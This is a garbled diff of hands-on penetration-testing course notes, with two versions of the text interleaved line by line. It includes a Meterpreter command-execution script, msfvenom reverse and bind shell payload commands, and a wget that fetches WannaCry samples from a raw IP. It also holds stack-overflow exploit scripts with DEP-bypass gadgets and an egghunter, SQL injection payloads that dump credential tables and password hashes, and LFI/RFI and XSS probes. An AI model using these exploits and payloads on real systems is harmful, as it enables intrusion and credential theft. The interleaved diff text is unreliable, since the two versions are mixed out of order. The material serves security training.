I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
1606+
1607
- So far so good, now we can build on this base.  Lets add a couple more API calls to the script.
1608
 
1609
- Open /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb in your favorite and add following
1610-
Step 2: Manual Testing
1610+
1611
line.
1612-
Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
1612+
1613
vi /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb
1614-
Step 2a: Spider/Scan the entire site with Burp Suite
1614+
1615-
Save the spider and scan results. I usually provide this data to the customer as well.
1615+
1616
---------------------------Type This-----------------------------------
1617
print_error("this is an error!")
1618-
Step 2b: Browse through the site using the 3 question method
1618+
1619-
Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
1619+
1620
- Now run the script:
1621-
Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
1621+
1622
meterpreter> run helloworld
1623-
Here is what I mean:
1623+
1624-
http://www.site.com/page.aspx?parametername=parametervalue
1624+
1625
- Now that we have the basics down, we're going to do something a little more exciting.  
1626-
When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
1626+
1627
 
1628-
http://www.site.com/page.aspx?parametername=[ payload ]
1628+
1629
        begin
1630-
You need to ensure that you send the payload this way, and like this below:
1630+
1631
        rescue ::Exception => e
1632-
http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
1632+
1633
        end
1634-
This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
1634+
1635
 
1636
-----------------------------------------------------------------------
1637
- Copy and paste the following code into our helloworld.rb script:
1638
---------------------------Type This-----------------------------------
1639
def getinfo(session)
1640
    begin
1641
       sysnfo = session.sys.config.sysinfo
1642
       runpriv = session.sys.config.getuid
1643-
# Question 2: How much fuzzing is enough? #
1643+
1644
       print_status("The target machine OS is #{sysnfo['OS']}")
1645-
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
1645+
1646
       print_status("Script running as #{runpriv}")
1647-
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
1647+
1648
      print_error("The following error was encountered #{e}")
1649
   end
1650-
Step 1: Ask yourself the 3 questions per page of the site.
1650+
1651
 
1652-
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
1652+
1653
--------------------------------------------------------------------------
1654-
Step 3: When you load your fuzz strings - use the following decision tree
1654+
1655
 
1656-
    - Are the fuzz strings causing a default error message (example 404)?
1656+
1657-
        - If this is the case then it is most likely NOT vulnerable
1657+
1658
meterpreter> run helloworld
1659-
    - Are the fuzz strings causing a WAF or LB custom error message?
1659+
1660-
        - If this is the case then you need to find an encoding method to bypass
1660+
1661
- We can expand it by adding actual system commands to the script, lets look at how we can do this.
1662
 
1663-
    - Are the fuzz strings causing an error message that discloses the backend type?
1663+
1664-
        - If yes, then identify DB type and find correct syntax to successfully exploit
1664+
1665-
        - Some example strings that I use are:
1665+
1666-
            '
1666+
1667-
            "
1667+
1668-
            ()          <----- Take the parameter value and put it in parenthesis
1668+
1669-
            (5-1)       <----- See if you can perform an arithmetic function
1669+
1670
          print_status "running command #{cmd}"
1671
          r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
1672-
    - Are the fuzz strings rendering executable code?
1672+
1673-
        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
1673+
1674-
        - Some example strings that I use are:
1674+
1675-
            <b>hello</b>
1675+
1676-
            <u>hello</u>
1676+
1677-
            <script>alert(123);</script>
1677+
1678-
            <script>alert(xss);</script>
1678+
1679-
            <script>alert('xss');</script>
1679+
1680-
            <script>alert("xss");</script>
1680+
1681
    end
1682
 end
1683
 
1684
commands = [ "set",
1685
    "ipconfig  /all",
1686
    "arp -a"]
1687
 
1688-
-------------------------------------------------------------------------------------------
1688+
1689-
 OWASP Top 10 Video Explanations
1689+
1690
 
1691-
Burp Suite Reference:
1691+
1692-
https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
1692+
1693
---------------------------Type This-----------------------------------
1694-
A1: Injection Vulnerabilities
1694+
1695-
https://www.youtube.com/watch?v=9CnpHT5Nn8c&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
1695+
1696
 
1697
Note: Add all of the commands from the script below to your helloworld.rb script:
1698-
A2: Broken Authentication and Session Management
1698+
1699-
https://www.youtube.com/watch?v=R1iGRBG3PJ8&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=2
1699+
1700
 
1701-
A3: Cross Site Scripting (XSS)
1701+
1702-
https://www.youtube.com/watch?v=90XT0j5E7xo&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=4
1702+
1703
 
1704-
A4: Insecure Direct Object Reference
1704+
1705-
https://www.youtube.com/watch?v=bMYpGj2xzpM&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=5
1705+
wget http://45.63.104.73/wannacry.zip
1706
 
1707
unzip wannacry.zip
1708-
A5: Security Misconfiguration
1708+
     **** password is infected ***
1709-
https://www.youtube.com/watch?v=ouuXu9_UM0w&index=7&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
1709+
1710
file wannacry.exe
1711
 
1712-
A6: Sensitive Data Exposure
1712+
objdump -x wannacry.exe
1713-
https://www.youtube.com/watch?v=x-B8I420x7Y&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=8
1713+
1714
strings wannacry.exe
1715
 
1716-
A7: Missing Function Level Access Control and A8 Cross-Site Request Forgery (CSRF)
1716+
strings --all wannacry.exe | head -n 6
1717-
https://www.youtube.com/watch?v=gf6cb7MnP-c&index=9&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
1717+
1718
strings wannacry.exe | grep -i dll
1719-
A9 Using Components w/ Known Vulnerabilities & A10 Unvalidated Redirects and Forwards
1719+
1720-
https://www.youtube.com/watch?v=WqlSl-Pc1vk&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=10
1720+
strings wannacry.exe | grep -i library
1721
 
1722
strings wannacry.exe | grep -i reg
1723
 
1724
strings wannacry.exe | grep -i key
1725
 
1726
strings wannacry.exe | grep -i rsa
1727
 
1728
strings wannacry.exe | grep -i open
1729
 
1730
strings wannacry.exe | grep -i get
1731
 
1732
strings wannacry.exe | grep -i mutex
1733
 
1734-
Day 2
1734+
strings wannacry.exe | grep -i irc
1735-
=-------------------------------------------------------------------------
1735+
1736
strings wannacry.exe | grep -i join        
1737
 
1738
strings wannacry.exe | grep -i admin
1739-
# Lab 1a: Stack Overflows #
1739+
1740
strings wannacry.exe | grep -i list
1741
1742-
    #################################
1742+
1743-
    # Start WarFTPd                 #
1743+
cd ~/toolz/metasploit/
1744-
    # Start WinDBG                  #
1744+
./msfvenom -p windows/meterpreter/reverse_tcp lhost={<your-linux-vm-ip>} lport=443 -f exe -o ~/yourname_reverseshell_payload.exe
1745-
    # Press F6                      #
1745+
./msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe -o ~/yourname_bindshell_payload.exe
1746-
    # Attach to war-ftpd.exe        #
1746+
./msfvenom -p windows/exec CMD=calc.exe -f exe -o ~/yourname_calc_payload.exe
1747-
    #################################
1747+
./msfvenom -p windows/vncinject/reverse_tcp lhost={<your-linux-vm-ip>} lport=443 -f exe -o ~/yourname_vncinject_reverseshell_payload.exe
1748
1749
cd ~
1750-
c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
1750+
1751
***** now run all of the previous commands against your newly created payloads *****
1752
1753-
    At WINDBG prompt
1753+
**** now upload your newly created payloads to virustotal ****
1754-
    “r” to show registers or “alt+4”
1754+
1755
**** now upload your newly created payloads to reverse.it ****
1756
1757-
    0:003> dd eip
1757+
1758-
    0:003> dd esp
1758+
1759
##################################
1760
# Basic: Web Application Testing #
1761
##################################
1762
 
1763-
c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
1763+
Most people are going to tell you reference the OWASP Testing guide.
1764
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
1765
 
1766
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
1767-
    At WINDBG prompt
1767+
1768-
    “r” to show registers or “alt+4”
1768+
1769
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
1770
 
1771
  1. Does the website talk to a DB?
1772-
    0:003> dd eip
1772+
      - Look for parameter passing (ex: site.com/page.php?id=4)
1773-
    0:003> dd esp
1773+
      - If yes - try SQL Injection
1774
 
1775
  2. Can I or someone else see what I type?
1776-
    Eip: 32714131
1776+
      - If yes - try XSS
1777-
    esp: affd58     (71413471)
1777+
1778
  3. Does the page reference a file?
1779-
    Now we need to SSH into the StrategicSec Ubuntu host
1779+
      - If yes - try LFI/RFI
1780
 
1781
Let's start with some manual testing against 45.63.104.73
1782
 
1783-
    cd /usr/share/metasploit-framework/tools/exploit/
1783+
1784
#######################
1785-
    ./pattern_offset.rb -q 32714131
1785+
1786-
    485
1786+
1787
 
1788-
    ./pattern_offset.rb -q 71413471
1788+
1789-
    493
1789+
https://phpapp.infosecaddicts.com/
1790
 
1791
 
1792-
    Distance to EIP is:         	485
1792+
1793-
    Relative position of ESP is:    493
1793+
1794
https://phpapp.infosecaddicts.com/acre2.php?lap=acer
1795-
    RET – POP EIP
1795+
1796-
    RET 4 – POP EIP and shift ESP down by 4 bytes
1796+
   - Found parameter passing (answer yes to question 1)
1797
   - Insert ' to test for SQLI
1798
 
1799
---------------------------Type This-----------------------------------
1800-
    wget https://raw.githubusercontent.com/pwnieexpress/metasploit-framework/master/msfpescan
1800+
1801-
    mkdir DLLs
1801+
https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
1802-
    ./msfpescan -j ESP DLLs/shell32.dll
1802+
1803
-----------------------------------------------------------------------
1804
 
1805-
        0x7c9c167d push esp; retn 0x304d
1805+
1806-
        0x7c9d30d7 jmp esp < - how about we use this one
1806+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
1807-
        0x7c9d30eb jmp esp
1807+
1808-
        0x7c9d30ff jmp esp
1808+
1809
 
1810
In order to perform union-based sql injection - we must first determine the number of columns in this query.
1811-
        warftpd3.py with Notepad++
1811+
1812-
        Fill in the appropriate values
1812+
1813-
        Distance to EIP
1813+
1814-
        Address of JMP ESP
1814+
1815
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
1816
-----------------------------------------------------------------------
1817
 
1818
Page returns the following error:
1819-
c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
1819+
1820
 
1821-
    0:003> dd eip
1821+
1822-
    0:003> dd esp
1822+
1823
 
1824
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
1825
-----------------------------------------------------------------------
1826
 
1827
Page returns the following error:
1828
Unknown column '50' in 'order clause'
1829-
    Mention bad characters
1829+
1830-
    No debugger
1830+
1831
---------------------------Type This-----------------------------------
1832
 
1833
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
1834
-----------------------------------------------------------------------
1835-
c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
1835+
1836
Page returns the following error:
1837-
nc XPSP3-ED-Target-IP 4444
1837+
1838
 
1839
 
1840
---------------------------Type This-----------------------------------
1841
 
1842
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
1843-
# Lab 1b: Stack Overflows with DEP Bypass #
1843+
1844
 
1845
Page returns the following error:
1846-
Reboot your target host and choose the "2nd" option for DEP.
1846+
1847
 
1848
 
1849
---------------------------Type This-----------------------------------
1850
 
1851
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
1852
-----------------------------------------------------------------------
1853-
c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
1853+
1854
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
1855-
    At WINDBG prompt
1855+
1856-
    “r” to show registers or “alt+4”
1856+
1857
 
1858-
    dd esp
1858+
1859
 
1860
Reference:
1861
http://www.techonthenet.com/sql/union.php
1862
 
1863-
c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
1863+
1864
---------------------------Type This-----------------------------------
1865
 
1866-
    At WINDBG prompt
1866+
https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
1867-
    “r” to show registers or “alt+4”
1867+
1868-
    dd esp
1868+
1869
 
1870
 
1871-
    Eip: 32714131
1871+
1872-
    esp: affd58     (71413471)
1872+
1873
 
1874-
    Now we need to SSH into the StrategicSec Ubuntu host
1874+
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
1875
-----------------------------------------------------------------------
1876
 
1877
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
1878-
    cd /home/strategicsec/toolz/metasploit/tools
1878+
1879
 
1880-
    ruby pattern_offset.rb 32714131
1880+
1881-
    485
1881+
1882
 
1883-
    ruby pattern_offset.rb 71413471
1883+
1884-
    493
1884+
1885
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
1886
 
1887
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
1888
 
1889
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
1890
 
1891
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
1892
 
1893-
cd /home/strategicsec/toolz/metasploit/tools
1893+
1894
https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
1895-
ruby pattern_offset.rb 32714131
1895+
1896
-----------------------------------------------------------------------
1897-
cd /home/strategicsec/toolz/metasploit/
1897+
1898
 
1899-
./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
1899+
1900
########################
1901
# Question I get a lot #
1902
########################
1903-
c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
1903+
1904
 
1905-
    0:003> dd eip
1905+
1906-
    0:003> dd esp
1906+
1907
 
1908-
INT3s - GOOD!!!!!!!
1908+
1909
 
1910
 
1911
 
1912-
c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
1912+
1913
#########################
1914-
nc XPSP3-ED-Target-IP 4444
1914+
# File Handling Attacks #
1915
#########################
1916
 
1917
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
1918-
strategicsec....exploit no workie!!!!
1918+
1919
---------------------------Type This-----------------------------------
1920
 
1921-
Why????????? DEP!!!!!!!!!!!!!
1921+
https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
1922
 
1923
-----------------------------------------------------------------------
1924
 
1925
 
1926-
Let's look through ole32.dll for the following instructions:
1926+
See if you can read files on the file system:
1927
---------------------------Type This-----------------------------------
1928-
mov al,0x1
1928+
1929-
ret 0x4
1929+
https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
1930
-----------------------------------------------------------------------
1931-
We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
1931+
1932
We call this attack a Local File Include or LFI.
1933
 
1934
Now let's find some text out on the internet somewhere:
1935
https://www.gnu.org/software/hello/manual/hello.txt
1936-
./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
1936+
1937
 
1938
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
1939-
[DLLs/xpsp3/ole32.dll]
1939+
1940-
0x775ee00e b001c204
1940+
1941-
0x775ee00e      mov al, 1
1941+
1942-
0x775ee010      ret 4
1942+
https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
1943
-----------------------------------------------------------------------
1944
 
1945-
Then we need to jump to the LdrpCheckNXCompatibility routine in
1945+
#########################################################################################
1946-
ntdll.dll that disables DEP.
1946+
# SQL Injection                                                                         #
1947
# https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx                       #
1948
#########################################################################################
1949
 
1950-
Inside of ntdll.dll we need to find the following instructions:
1950+
1951
- Another quick way to test for SQLI is to remove the paramter value
1952-
CMP AL,1
1952+
1953-
PUSH 2
1953+
1954-
POP ESI
1954+
#############################
1955-
JE ntdll.7
1955+
# Error-Based SQL Injection #
1956
#############################
1957
---------------------------Type This-----------------------------------
1958
 
1959
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
1960-
./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
1960+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
1961
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
1962
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
1963-
[DLLs/xpsp3/ntdll.dll]
1963+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
1964-
0x7c91cd24 3c016a025e0f84
1964+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
1965-
0x7c91cd24      cmp al, 1
1965+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
1966-
0x7c91cd26      push 2
1966+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
1967-
0x7c91cd28      pop esi
1967+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
1968-
0x7c91cd29      jz 7
1968+
1969
-----------------------------------------------------------------------
1970
 
1971-
This set of instructions makes sure that AL is set to 1, 2 is pushed
1971+
1972-
on the stack then popped into ESI.
1972+
1973
#############################
1974
# Union-Based SQL Injection #
1975
#############################
1976
 
1977
---------------------------Type This-----------------------------------
1978
 
1979-
dep = "\x0e\xe0\x5e\x77"+\
1979+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
1980-
"\xff\xff\xff\xff"+\
1980+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
1981-
"\x24\xcd\x91\x7c"+\
1981+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
1982-
"\xff\xff\xff\xff"+\
1982+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
1983-
"A"*0x54
1983+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
1984
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
1985
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
1986
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
1987
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
1988-
c:\python27\python.exe warftpd5.py XPSP3-ED-Target-IP
1988+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
1989
-----------------------------------------------------------------------
1990-
nc XPSP3-ED-Target-IP 4444
1990+
1991
 We are using a union select statement because we are joining the developer's query with one of our own.
1992
   Reference:
1993
   http://www.techonthenet.com/sql/union.php
1994-
########################################
1994+
   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
1995-
# Lab 2a: Not Enough Space (Egghunter) #
1995+
   It removes duplicate rows between the various SELECT statements.
1996-
########################################
1996+
1997
   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
1998
 
1999
---------------------------Type This-----------------------------------
2000-
SWS - SIMPLE WEB SERVER
2000+
2001
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
2002
-----------------------------------------------------------------------
2003-
Running SWS on Strategicsec-XP-ED-Target-VM
2003+
2004-
Start > Programs > Simple Web Server (it's in the middle somewhere)
2004+
   Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
2005-
Red icon in system tray
2005+
2006-
Double click it
2006+
2007-
- it will pop up a menu
2007+
2008-
- select "start"
2008+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
2009-
- dialog box shows starting params - port 82
2009+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
2010
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
2011-
WinDBG
2011+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
2012-
- attach to "server.exe"
2012+
2013
-----------------------------------------------------------------------
2014
 
2015
 
2016-
c:\python27\python.exe  sws1.py XPSP3-ED-Target-IP
2016+
2017
 
2018-
    0:003> dd eip
2018+
- Another way is to see if you can get the backend to perform an arithmetic function
2019-
    0:003> dd esp 
2019+
2020
---------------------------Type This-----------------------------------
2021-
c:\python27\python.exe  sws2.py XPSP3-ED-Target-IP
2021+
2022-
  
2022+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
2023-
    0:003> dd eip
2023+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)  
2024-
    0:003> dd esp
2024+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
2025
 
2026-
SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
2026+
2027-
cd /home/strategicsec/toolz/metasploit/tools
2027+
2028-
ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
2028+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
2029-
ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229
2029+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
2030
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
2031
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
2032
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
2033
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
2034
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
2035
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
2036
 
2037
 
2038
 
2039-
EGGHUNTER:
2039+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
2040-
----------
2040+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
2041
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
2042-
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
2042+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
2043-
"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
2043+
2044-
          ^^^^^^^^^^^^^^^^
2044+
2045-
               ABBA
2045+
2046-
                                         JMP ESP
2046+
2047-
                                        /
2047+
2048-
                                       /
2048+
# Blind SQL Injection Testing #
2049-
GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
2049+
2050-
User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
2050+
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
2051
   
2052
3 - Total Characters
2053
---------------------------Type This-----------------------------------
2054
 
2055-
-----sws3.py-----
2055+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
2056-
#!/usr/bin/python2
2056+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
2057-
import os
2057+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
2058-
import sys
2058+
2059-
import socket
2059+
2060-
import struct # for pack function
2060+
Let's go for a quick check to see if it's DBO
2061
 
2062-
if len(sys.argv) < 2:
2062+
2063-
	sys.stderr.write("Usage: sws3.py <host>\n")
2063+
2064-
	sys.exit(1)
2064+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
2065
-----------------------------------------------------------------------
2066
 
2067-
target = sys.argv[1]
2067+
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
2068-
port = 82
2068+
2069
---------------------------Type This-----------------------------------
2070
 
2071-
pad = "A" * 225        # distance to EIP
2071+
D  - 1st Character
2072-
eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
2072+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
2073
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
2074-
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
2074+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
2075-
egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
2075+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
2076
 
2077-
shellcode = "\xCC" * 700
2077+
B - 2nd Character
2078
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
2079-
buf = "GET /"
2079+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
2080-
buf += pad + struct.pack('<I', eip) + egghunter
2080+
2081-
buf += " HTTP/1.0\r\n"
2081+
O - 3rd Character
2082-
buf += "User-Agent: ABBAABBA"
2082+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
2083-
buf += shellcode
2083+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
2084-
buf += " HTTP/1.0\r\n"
2084+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
2085
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
2086-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # for TCP
2086+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
2087-
# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for UDP
2087+
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
2088
https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
2089-
try:
2089+
2090-
	s.connect((target, port))
2090+
2091-
	s.sendall(buf)
2091+
2092-
except Exception as e:
2092+
2093-
	sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
2093+
2094-
finally:
2094+
2095-
	s.close()
2095+
2096-
	sys.stderr.write("Sent.\n")
2096+
2097-
-----
2097+
2098
################################
2099-
############################################
2099+
# Playing with session cookies #
2100-
# Lab 2b: Not Enough Space (Negative Jump) #
2100+
2101-
############################################
2101+
2102
